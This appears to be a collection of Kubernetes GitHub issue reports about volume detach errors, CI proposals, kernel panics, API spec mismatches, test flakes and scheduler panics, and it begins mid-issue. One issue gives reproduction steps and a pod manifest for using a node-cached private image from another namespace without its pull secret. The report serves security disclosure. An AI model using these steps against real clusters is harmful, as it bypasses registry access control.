21a524c0-7812-4f2f-a886-1e93b80e9881\r e0323 13:21:54.976589    6021 nodemanager.go:275  error \ no vm found\  node info for node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  not found\r e0323 13:21:54.976597    6021 vsphere.go:475  cannot find node \ 21a524c0-7812-4f2f-a886-1e93b80e9881\  in cache. node not found!!!\r e0323 13:21:54.976607    6021 attacher.go:274  error detaching volume \       kubevols/kubernetes-dynamic-pvc-7ece5266-2e9a-11e8-b4d2-005056b91f7a.vmdk\ : no vm found\r    \r \r restarting the kube-controller-manager also causes it to hang in a state where it continuously attempts to try and mount the pvc, flooding the logs in kubelet and also in vcenter:\r    \r i0406 03:22:49.954013   22290 reconciler.go:217  operationexecutor.verifycontrollerattachedvolume started for volume \ pvc-e517c716-3946-11e8-9efa-005056b9781f\   uniquename: \ kubernetes.io/vsphere-volume/ vnx5600-pizza-2  kubevols/kubernetes-dynamic-pvc-e517c716-3946-11e8-9efa-005056b9781f.vmdk\   pod \ sample-storage-95d4b8495-mkx9w\   uid: \ b95d83dd-3949-11e8-b2d4-005056b9781f\   \r \r e0406 03:23:15.765047   22290 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/vsphere-volume/ vnx5600-pizza-2  kubevols/kubernetes-dynamic-pvc-e517c716-3946-11e8-9efa-005056b9781f.vmdk\\\ \  failed. no retries permitted until 2018-04-06 03:23:16.264995909 +0000 utc m=+98.801076882  durationbeforeretry 500ms . error: \ volume not attached according to node status for volume \\\ pvc-e517c716-3946-11e8-9efa-005056b9781f\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vnx5600-pizza-2  kubevols/kubernetes-dynamic-pvc-e517c716-3946-11e8-9efa-005056b9781f.vmdk\\\   pod \\\ sample-storage-95d4b8495-mkx9w\\\   uid: \\\ b95d83dd-3949-11e8-b2d4-005056b9781f\\\   \ \r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 14.04.5 lts\r - kernel  e.g.  uname -a  : 4.4.0-116-generic\r - install tools: cfcr/pks\r - others:\r 

quota in put in place to limit the number of pvclaim per namespace.  add the ability to restrict by size as well.  this allows admins to limit the big, special fancy pvs to specific namespaces.

problem    local up cluster has tons of permutations now, and not all of them are gauranteed to work. - dns? - auth strategy? - docker version? - containerized? - selinux?    solution    _lets run hack/local-up-cluster in the ci !_    thoughts     i don't think it needs to be in the continuous pr builds, but at least in the intermittent ones it should run.    it will catch certificates errors, network errors, command line option inconsistencies, while also helping us to maintain a stable dev environment for folks to use.  this will help us ramping up folks who can test and evaluate kuberentes efficiently.    hack/local-up-cluster is a workhorse for many folks.  in this issue i propose we   add it to ci  .   - i know folks have said it should be replaced with something else, but...  - i don't know if that will be happening, given how effective a tool it is for development and rapid testing/proptotying.  so, since local-up-cluster.sh - ensures that there is a simple way to run kubernetes components - is a self contained, integration test for simple dev environments - spins up in a matter of seconds, and doesn't introduce any networking, vms, or other artifacts  - has tons of permutations  containerized?dns?selinux? ...

we, node team needs a separate soaking cluster to validate a lot of features which is not pushed into upstream yet. for example,  - validating docker new release. based on our previous validating experience, tons of docker issues are found at soaking stage. currently there is no good way to do it without pushing the changes to upstream.  - validate a new image with different kernel config.   cc/ @kubernetes/goog-testing @ixdy @spxtr   we used to have one, and recently is torn down.

hi,  i'm using a privileged container in a kubernetes pod to build images. the container runs docker 1.10.3. i'm using kubernetes 1.2.4 on aws  setup with kube-up .  from time to time, a node crashes. here is the output of the last crash at the end.  it seems this is the bug, and maybe it's related to using docker >= 1.10 on debian jessie kernel  although it is not confirmed  as reported here: https://github.com/docker/docker/issues/21081  if this is the case, this probably affects kubernentes 1.3 that is due to be released.  cc @justinsb           82.728265  aufs au_opts_verify:1570:docker 1654 : dirperm1 breaks the protection by the permission bits on the lower branch     82.760820  aufs au_opts_verify:1570:docker 1635 : dirperm1 breaks the protection by the permission bits on the lower branch     82.896108  aufs au_opts_verify:1570:docker 1654 : dirperm1 breaks the protection by the permission bits on the lower branch     82.928699  aufs au_opts_verify:1570:docker 1654 : dirperm1 breaks the protection by the permission bits on the lower branch     82.992993  aufs au_opts_verify:1570:docker 1673 : dirperm1 breaks the protection by the permission bits on the lower branch     83.385415  aufs au_opts_verify:1570:docker 1691 : dirperm1 breaks the protection by the permission bits on the lower branch     83.480134  aufs au_opts_verify:1570:docker 1691 : dirperm1 breaks the protection by the permission bits on the lower branch     83.592429  aufs au_opts_verify:1570:docker 1744 : dirperm1 breaks the protection by the permission bits on the lower branch     84.002341  aufs au_opts_verify:1570:docker 1689 : dirperm1 breaks the protection by the permission bits on the lower branch     84.083000  aufs au_opts_verify:1570:docker 1516 : dirperm1 breaks the protection by the permission bits on the lower branch     84.140267  aufs au_opts_verify:1570:docker 1516 : dirperm1 breaks the protection by the permission bits on the lower branch     84.219145  aufs au_opts_verify:1570:docker 1801 : dirperm1 breaks the protection by the permission bits on the lower branch     84.252038  aufs au_opts_verify:1570:docker 1801 : dirperm1 breaks the protection by the permission bits on the lower branch     84.293019  aufs au_opts_verify:1570:docker 1805 : dirperm1 breaks the protection by the permission bits on the lower branch     84.581778  aufs au_warn_loopback:122:loop1 1857 : you may want to try another patch for loopback file on ext4 0xef53  branch     84.603270  divide error: 0000   1  smp      84.604057  modules linked in: dm_thin_pool dm_persistent_data dm_bio_prison dm_bufio libcrc32c xt_statistic xt_nat xt_mark ipt_reject xt_tcpudp xt_comment loop veth binfmt_misc sch_htb ipt_masquerade iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter ip_tables x_tables nf_nat nf_conntrack bridge stp llc aufs c  nfsd auth_rpcgss oid_registry nfs_acl nfs lockd fscache sunrpc crc32_pclmul ppdev aesni_intel aes_x86_64 lrw gf128mul glue_helper ablk_helper cryptd evdev psmouse serio_raw parport_pc ttm parport drm_kms_helper drm i2c_piix4 i2c_core processor button thermal_sys autofs4 ext4 crc16 mbcache jbd2 btrfs xor raid6_pq dm_mod ata_generic crct10dif_pclmul crct10dif_common xen_netfront xen_blkfront crc32c_intel ata_piix libata scsi_mod floppy     84.609355  cpu: 1 pid: 1853 comm: docker tainted: g         c    3.16.0-4-amd64  1 debian 3.16.7-ckt20-1+deb8u4     84.609355  hardware name: xen hvm domu, bios 4.2.amazon 05/12/2016     84.609355  task: ffff8801e3657470 ti: ffff8801e47a8000 task.ti: ffff8801e47a8000     84.609355  rip: 0010: <ffffffffa0577200>    <ffffffffa0577200>  pool_io_hints+0xf0/0x1a0  dm_thin_pool      84.609355  rsp: 0018:ffff8801e47abbc8  eflags: 00010246     84.609355  rax: 0000000000010000 rbx: ffff8801e4736840 rcx: ffff8801c2662000     84.609355  rdx: 0000000000000000 rsi: 0000000000000000 rdi: ffff8801e48c4080     84.609355  rbp: ffff8801e47abc10 r08: 0000000000000000 r09: 0000000000000000     84.609355  r10: 0000000000000000 r11: 0000000000000246 r12: ffffffffa057f5c8     84.609355  r13: 0000000000000001 r14: ffff8801e47abc90 r15: 0000000000000131     84.609355  fs:  00007ff465daf700 0000  gs:ffff8801efc20000 0000  knlgs:0000000000000000     84.609355  cs:  0010 ds: 0000 es: 0000 cr0: 0000000080050033     84.609355  cr2: 000000c207f1c3fb cr3: 00000001e2a5a000 cr4: 00000000001406e0     84.609355  stack:     84.609355   ffffffff810a7c71 0000000043e06d70 ffffc9000115f040 0000000000000000     84.609355   0000000043e06d70 ffffc9000115f040 0000000000000000 ffff8800e9da3800     84.609355   ffffffffa00ba615 000fffffffffffff 00000000ffffffff 00000000000000ff     84.609355  call trace:     84.609355    <ffffffff810a7c71>  ? complete+0x31/0x40     84.609355    <ffffffffa00ba615>  ? dm_calculate_queue_limits+0x95/0x130  dm_mod      84.609355    <ffffffffa00b7ec3>  ? dm_swap_table+0x73/0x320  dm_mod      84.609355    <ffffffffa00b0101>  ? crc_t10dif_generic+0x101/0x1000  crct10dif_common      84.609355    <ffffffffa00bd0d0>  ? table_load+0x330/0x330  dm_mod      84.609355    <ffffffffa00bd165>  ? dev_suspend+0x95/0x220  dm_mod      84.609355    <ffffffffa00bda55>  ? ctl_ioctl+0x205/0x430  dm_mod      84.609355    <ffffffffa00bdc8f>  ? dm_ctl_ioctl+0xf/0x20  dm_mod      84.609355    <ffffffff811ba99f>  ? do_vfs_ioctl+0x2cf/0x4b0     84.609355    <ffffffff810d485e>  ? sys_futex+0x6e/0x150     84.609355    <ffffffff811bac01>  ? sys_ioctl+0x81/0xa0     84.609355    <ffffffff81513ecd>  ? system_call_fast_compare_end+0x10/0x15     84.609355  code: 0f 84 a5 00 00 00 3b 96 10 06 00 00 49 c7 c4 c8 f5 57 a0 77 26 8b b6 18 06 00 00 89 d0 c1 e0 09 48 39 f0 0f 82 92 00 00 00 31 d2 <48> f7 f6 85 d2 74 2d 49 c7 c4 70 f5 57 a0 66 90 48 89 e6 e8 28      84.609355  rip   <ffffffffa0577200>  pool_io_hints+0xf0/0x1a0  dm_thin_pool      84.609355   rsp <ffff8801e47abbc8>     84.770467  ---  end trace fcce781faebae9ce  ---     84.773018  kernel panic - not syncing: fatal exception     84.775963  kernel offset: 0x0 from 0xffffffff81000000  relocation range: 0xffffffff80000000-0xffffffff9fffffff       6.096097  xenbus_probe_frontend: waiting for devices to initialise: 25s...20s...15s...     17.402123  reboot: failed to start orderly shutdown: forcing the issue     17.407629  xenbus: xenbus_dev_shutdown: device/vif/0: initialising != connected, skipping     17.412875  xenbus: xenbus_dev_shutdown: device/vbd/51744: initialising != connected, skipping     17.417585  xenbus: xenbus_dev_shutdown: device/vbd/51712: initialising != connected, skipping     17.421263  xenbus: xenbus_dev_shutdown: device/vfb/0: initialised != connected, skipping     17.424839  acpi: preparing to enter system sleep state s5     17.427112  reboot: power down

as discussed with @mbohlool response codes in swagger.json are not representative of what's actually sent back when making an api request\r \r tested on 1.5.4, but i believe this is the same for all versions\r \r example:\r \r within the spec for creating a namespace:\r \r    \r     \ post\ : {\r      \ description\ : \ create a namespace\ ,\r      \ consumes\ :  \r       \  / \ \r       ,\r      \ produces\ :  \r       \ application/json\ ,\r       \ application/yaml\ ,\r       \ application/vnd.kubernetes.protobuf\ \r       ,\r      \ schemes\ :  \r       \ https\ \r       ,\r      \ tags\ :  \r       \ core_v1\ \r       ,\r      \ operationid\ : \ createcorev1namespace\ ,\r      \ parameters\ :  \r       {\r        \ name\ : \ body\ ,\r        \ in\ : \ body\ ,\r        \ required\ : true,\r        \ schema\ : {\r         \ $ref\ : \  /definitions/v1.namespace\ \r        }\r       }\r       ,\r      \ responses\ : {\r       \ 200\ : {\r        \ description\ : \ ok\ ,\r        \ schema\ : {\r         \ $ref\ : \  /definitions/v1.namespace\ \r        }\r       },\r       \ 401\ : {\r        \ description\ : \ unauthorized\ \r       }\r      }\r     },\r    \r \r when you make a request a successful response is actually a 201

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   yes  \r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r cqlsh\r \r python\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r   bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r   1.6  \r \r   what happened  :\r \r when i follow your guide to deployment cassandra cluster, i got this error on step 3. \r    \r $kubectl exec cassandra-0 -- cqlsh -e 'desc keyspaces'\r no appropriate python interpreter found.\r    \r \r \r

 \r from  44680 look at using a rw mutex around the volume retrieval

yesterday i created a pr with a bunch of shell changes.  in one of these files, i misspelled  then  as  the .  no test noticed this, and it broke node startup in such a deeply buried way that i could only debug it by logging in to the node and looking at startupscript.log, and then making some educated guesses.\r \r however, it is very easy to detect.\r \r    console\r % bash cluster/common.sh\r cluster/common.sh: line 685: syntax error near unexpected token  fi'\r   fix it in the editor\r % bash cluster/common.sh\r % \r

 \r   what happened  :\r i tried to use  make test  to run the podautoscaler tests, with  make test what=pkg/controller/podautoscaler . i got the error message \r    \r can't load package: package pkg/controller/podautoscaler: cannot find package \ pkg/controller/podautoscaler\  in any of: ...\r    \r \r the issue was that because i was specifying the package path relative to my current directory, as opposed to $gopath, i needed to append a  ./  to my path dir. the command should have been  make test what=./pkg/controller/podautoscaler .\r \r   what you expected to happen  :\r it would have been great to get a helpful message from  make test . for example, \ it appears you specified your package path relative to your current directory - try running this command again with \ ./\  prepended to the path\ . i would think that  hack/make-rules/test.sh  could do a relatively easy calculation to check if you incorrectly specified the path  i.e. does it not exist at $gopath but does exist from the current dir .\r \r   how to reproduce it  as minimally and precisely as possible   :\r  make test what=pkg/controller/podautoscaler \r \r   anything else we need to know?  :\r i'd be happy to submit a pr for this if it would be helpful : \r \r 

is this a bug report or feature request?  :\r   \r   what happened  :\r ref https://github.com/kubernetes/kubernetes/pull/56562, https://github.com/kubernetes/kubernetes/pull/45857, https://github.com/kubernetes/kubernetes/issues/46404.\r \r there are a few left over feature gate checks in https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go and probably somewhere else that have no effect. would be great to clean it up.\r \r /assign

please write a test that:\r \r   starts kube-apiserver\r   adds a webhook which blocks everything it is possible to block.\r   re-starts kube-apiserver\r   verifies that kube-apiserver comes back up\r   verifies that it can remove the broken webhook.\r \r this would have caught  56761

flaky job: pr:pull-kubernetes-verify  flakes in the past week:   72    consistency:   93.10%         flakiest tests by flake count: | test | flake count | | --- | --- | | verify bazel | 29 | | verify godeps | 5 | | verify staging-godeps | 4 |       previously closed issues for this job flaking:  60028     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when bootstrapping a new kubernetes cluster with the in tree openstack provider --cloud-provider=openstack the bootstrap procedure makes arround 60-100 api calls to nova in a minute. on an openstack cloud with ratelimiting on the api this prevents the kubernetes cluster to bootstrap at all.\r api calls which are made during this minute are identical from each openstack instance.\r \r   what you expected to happen  :\r just one or two calls to the api, cache the results if needed and use them where required.\r \r   how to reproduce it  as minimally and precisely as possible   :\r bootstrapping a kubernetes cluster with the --cloud-provider=openstack flag and watch the openstack api end for tenant requests.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3+coreos.0\ \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : container linux by coreos 1520.6.0  ladybug \ \r - kernel  e.g.  uname -a  :4.13.5-coreos-r2  1 smp thu oct 12 03:21:09 utc 2017 x86_64 intel r  xeon r  cpu e5-2697 v4 @ 2.30ghz genuineintel gnu/linux\r - install tools: terraform\r - others: using the coreos hyperkube\r logs from kubelet, apicontroller and kubecontroller are here: http://projects.vinite.eu/k8slogs/k8sdebuglogs.tgz\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r there are two issues：\r \r 1. when you run ./test-performance.sh multiple times in succession, a test failure will be reported\r \r    \r w0609 08:31:53.210004   24243 factory.go:1345  request for pod sample/sched-perf-pod-62wtd already in flight, abandoning\r e0609 08:31:53.212949   24243 factory.go:1323  error scheduling sample sched-perf-pod-bqszw: post http://127.0.0.1:58132/api/v1/namespaces/sample/pods/sched-perf-pod-bqszw/binding: read tcp 127.0.0.1:62863->127.0.0.1:58132: read: connection reset by peer; retrying\r e0609 08:31:53.215384   24243 scheduler.go:501  internal error binding pod:  post http://127.0.0.1:58132/api/v1/namespaces/sample/pods/sched-perf-pod-nxk5h/binding: read tcp 127.0.0.1:62867->127.0.0.1:58132: read: connection reset by peer \r e0609 08:31:53.215396   24243 scheduler.go:501  internal error binding pod:  post http://127.0.0.1:58132/api/v1/namespaces/sample/pods/sched-perf-pod-gv6gs/binding: read tcp 127.0.0.1:62860->127.0.0.1:58132: read: connection reset by peer \r \r    \r 2. a panic occurs： integer divide by zero\r \r    \r i0609 08:32:05.261215   24243 util.go:53  destroyed api server\r --- fail: testschedule100node3kpods  28.83s \r panic: runtime error: integer divide by zero  recovered \r \tpanic: runtime error: integer divide by zero\r \r goroutine 99  running :\r testing.trunner.func1 0xc420c760f0 \r \t/usr/local/cellar/go/1.10.2/libexec/src/testing/testing.go:742 +0x29d\r panic 0x4077020, 0x7aa0ba0 \r \t/usr/local/cellar/go/1.10.2/libexec/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/test/integration/scheduler_perf.schedulepods 0xc424c3f980, 0x0 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf/scheduler_test.go:166 +0x7c6\r k8s.io/kubernetes/test/integration/scheduler_perf.testschedule100node3kpods 0xc420c760f0 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf/scheduler_test.go:78 +0x86\r testing.trunner 0xc420c760f0, 0x497a1f8 \r \t/usr/local/cellar/go/1.10.2/libexec/src/testing/testing.go:777 +0xd0\r created by testing.  t .run\r \t/usr/local/cellar/go/1.10.2/libexec/src/testing/testing.go:824 +0x2e0\r exit status 2\r fail\tk8s.io/kubernetes/test/integration/scheduler_perf\t28.949s\r !!! error in ./test-performance.sh:51\r   error in ./test-performance.sh:51. 'go test -test.run=. -test.timeout=60m -test.short=false' exited with status 1\r call stack:\r   1: ./test-performance.sh:51 main ... \r exiting with status 1\r ~/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r +++  0609 08:32:05  performance test cleanup complete\r    \r \r   what you expected to happen  :\r should be able to run successfully many times in succession./test-performance.sh\r \r   how to reproduce it  as minimally and precisely as possible   :\r you can run ./test-performance.sh multiple times consecutively.\r \r   anything else we need to know?  :\r \r   environment  :\r darwin  16.7.0 darwin kernel version 16.7.0: thu jun 15 17:36:27 pdt 2017; root:xnu-3789.70.16~2/release_x86_64 x86_64\r \r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

below should work... \r go get -u github.com/kubernetes/kubernetes/cmd/kubelet\r \r install works fine but service fails due to below issue...\r \r kubelet version\r panic: http: multiple registrations for /debug/requests\r \r goroutine 1  running :\r net/http.  servemux .handle 0x757bb80, 0x493c4f4, 0xf, 0x4d01320, 0x4abd600 \r /usr/lib64/go/src/net/http/server.go:2353 +0x239\r net/http.  servemux .handlefunc 0x757bb80, 0x493c4f4, 0xf, 0x4abd600 \r /usr/lib64/go/src/net/http/server.go:2368 +0x55\r net/http.handlefunc 0x493c4f4, 0xf, 0x4abd600 \r /usr/lib64/go/src/net/http/server.go:2380 +0x4b\r k8s.io/kubernetes/vendor/golang.org/x/net/trace.init.0  \r

if an image already exists on a node it is possible to use that image in a different namespace even though a user might not have access to pull that image from a private repository.\r \r this is mentioned in the  cis kubernetes benchmark v1.3.0  https://www.cisecurity.org/benchmark/kubernetes/  in the item titled \ 1.1.11 ensure that the admission control plugin alwayspullimages is set\ . there is offers a mitigation for this problem, but  that mitigation has a few issues:\r \r 1. it means any downtime of the registry causes corresponding application downtime across an entire cluster, which could bring down your entire application\r 2. it dramatically increases network traffic to the upstream registry\r \r this issue can be reproduced by following these steps on v1.13.2:\r \r 1. pull an image to the default namespace by following this guide. https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/\r 2. make sure you tag the image, and don't use the default, 'latest' tag because that will trigger the imagepullpolicy to be 'always'\r 3. pull that same image into a pod in a different namespace without specifying the registry secret, eg:\r $ cat stolen-pod.yaml \r    \r apiversion: v1\r  kind: pod\r  metadata:\r    name: private-reg\r  spec:\r    containers:\r    - name: private-reg-container\r      image: jazinner/image:1.0\r     \r 4. you'll see that the image is pull successfully even though a secret was required to pull that image to the default namespace.

a   --num-nodes  seems to be required by some tests. we need to decide if jobs need to pass  --num-nodes  explicitly or let the e2e framework detect how many worker nodes a cluster has.\r the conformance image has no notion of  --num-nodes  yet.\r https://github.com/kubernetes/kubernetes/issues/74474\r \r b  the conformance image runs   serial   tests even in parallel mode:\r https://github.com/kubernetes/kubernetes/blob/master/cluster/images/conformance/run_e2e.sh l52-l55\r if \ y\  is set in the yaml for  e2e_parallel \r if we assume that   serial   tests should not run in parallel mode, this means we need to pass  --skip=\\\\ serial\\\\   from the runner.\r https://github.com/kubernetes/kubernetes/blob/master/cluster/images/conformance/run_e2e.sh l44\r \r c  should we switch the conformance image to  e2e_provider=skeleton ? currently it's  local .\r we need to check if this breaks anything.\r \r discussion:\r https://kubernetes.slack.com/archives/c78f00h99/p1551550250048900\r \r /area test\r   /assign @dims @bentheelder @neolit123\r

if you launch kube-proxy in a manner where it cannot use iptables it should fail - rather than carry on .  it can be quite confusing otherwise - as the proxy is running but it will not actually re-route ips for publicips and so on.   lets add a precondition to kube-proxy startup which confirms iptables can be properly leveraged and accessible .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/15123/  failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:97 expected error:     < errors.statuserror | 0xc820278b80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-nettest-oweof/pods/netserver-0\\\\\\\ \\\   has prevented the request from succeeding  get pods netserver-0 \ ,             reason: \ internalerror\ ,             details: {                 name: \ netserver-0\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/namespaces/e2e-tests-nettest-oweof/pods/netserver-0\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-nettest-oweof/pods/netserver-0\\\ \   has prevented the request from succeeding  get pods netserver-0  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:463

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-reboot-release-1.4/356/  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:98 oct  1 04:43:30.313: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158

we have performance regression that is mostly visible on list pods calls  but not only . however, list pods are even up to 3x slower  99th percentile .\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/95\r is the first run of kubemark-scale where we observe it\r \r so the regression is due to one of those prs:\r https://github.com/kubernetes/kubernetes/compare/f1995ad...98c4c73\r \r my suspicion is that it's because of:\r https://github.com/kubernetes/kubernetes/pull/37770\r but i looked through it and it looks ok and didn't have time to verify it yet.\r \r @kubernetes/sig-scalability

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r     master and nodes on  k8s 1.5.1 \r     nodes on  debian 7.11/3.16.0-4-amd64 \r \r   what happened  :\r \r during the upgrade of our cluster on gke from 1.4.7 to 1.5.1 some pods with persistent volumes are scheduled twice for a deployment, and one of the twice pods is stuck in  containercreating  state because of a  failedmount  error  the volume is attached on the other pod… \r \r    \r % kubectl --namespace=int2 describe deployment sentry\r name:\t\t\tsentry\r namespace:\t\tint2\r creationtimestamp:\tmon, 15 aug 2016 11:44:23 +0200\r labels:\t\t\tname=sentry\r selector:\t\tname=sentry\r replicas:\t\t1 updated | 1 total | 0 available | 1 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t0\r rollingupdatestrategy:\t1 max unavailable, 1 max surge\r oldreplicasets:\t\t<none>\r newreplicaset:\t\tsentry-263511705  1/1 replicas created \r no events.\r    \r    \r % kubectl --namespace=int2 get ev |grep sentry-263511705-1gxsz\r 1m         2d          1577      sentry-263511705-1gxsz   pod                                   warning   failedmount               {controller-manager }                         failed to attach volume \ int2-sentry-db\  on node \ gke-c2-default-pool-40cc47de-8v7r\  with: googleapi: error 400: the disk resource 'int2-sentry-db' is already being used by 'gke-c2-default-pool-40cc47de-7mir'\r 55s        2d          1476      sentry-263511705-1gxsz   pod                                   warning   failedmount               {kubelet gke-c2-default-pool-40cc47de-8v7r}   unable to mount volumes for pod \ sentry-263511705-1gxsz_int2 4ccd0dd9-d414-11e6-9879-42010af00088 \ : timeout expired waiting for volumes to attach/mount for pod \ sentry-263511705-1gxsz\ /\ int2\ . list of unattached/unmounted volumes= int2-sentry-db \r 55s        2d          1476      sentry-263511705-1gxsz   pod                                   warning   failedsync                {kubelet gke-c2-default-pool-40cc47de-8v7r}   error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ sentry-263511705-1gxsz\ /\ int2\ . list of unattached/unmounted volumes= int2-sentry-db \r    \r    \r % kubectl --namespace=int2 get pods|grep sentry\r sentry-263511705-1gxsz                  0/3       containercreating   0          2d\r sentry-3304526142-n7d2p                 3/3       running             1          2d\r    \r \r   what you expected to happen  :\r \r a deployment with only a pod should be scheduled only one time at once : \r \r   how to reproduce it    as minimally and precisely as possible :\r \r if pod  sentry-263511705-1gxsz  is deleted, another is scheduled, for getting the things to a « normal » order i should delete the deployment entirely, and re-create it.\r \r this issue affect all my pods with a persistent volume attached.\r \r   anything else do we need to know  :\r \r i'm reachable on slack if needed  @rvrignaud  fitzdsl  or @sbadia \r

ftp uses passive mode,access to ftp by clusterip,it takes about 3 minutes to get the results,because epsv mode is not supported,tcpdump are as follows:\r ! ftp  https://cloud.githubusercontent.com/assets/23205254/22102432/68e5639c-de72-11e6-8f3c-a7de322044b9.jpg \r \r \r

as you can see, density test in our gce 100-node clusters has been constantly failing for many days now: https://k8s-testgrid.appspot.com/google-gce gce-scalability\r and in about 50-60% of these cases, the sole reason seems to be oom'ing of l7 loadbalancer:\r    \r container l7-lb-controller-v0.9.3-e2e-scalability-master/l7-lb-controller is using 62.90625/60 mb of memory\r not to have occurred\r    \r it was bumped up to version 0.9.3 from 0.9.2 in commit https://github.com/kubernetes/kubernetes/commit/71ca925b05ba987e20c48ac0b83c19fea1bdb9aa and that seems to be the cause.\r maybe we should consider reverting this pr?  cc @nicksardo \r \r could this be something related to the go1.8 upgrade which happened around the same time?  ref https://github.com/kubernetes/kubernetes/issues/45216 \r and besides loadbalancer, we have kube-proxy oom'ing too in the other 40% of the cases, but that seems to be an older issue  https://github.com/kubernetes/kubernetes/issues/44613 .\r \r cc @k8s-mirror-scalability-bugs @wojtek-t @gmarek

\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49916/pull-kubernetes-unit/43951/\r \r    \r e0801 01:50:48.527040   31465 runtime.go:66  observed a panic: prometheus.alreadyregisterederror{existingcollector:  prometheus.value  0xc427eec080 , newcollector:  prometheus.value  0xc43ba18380 }  duplicate metrics collector registration attempted \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:353\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:152\r 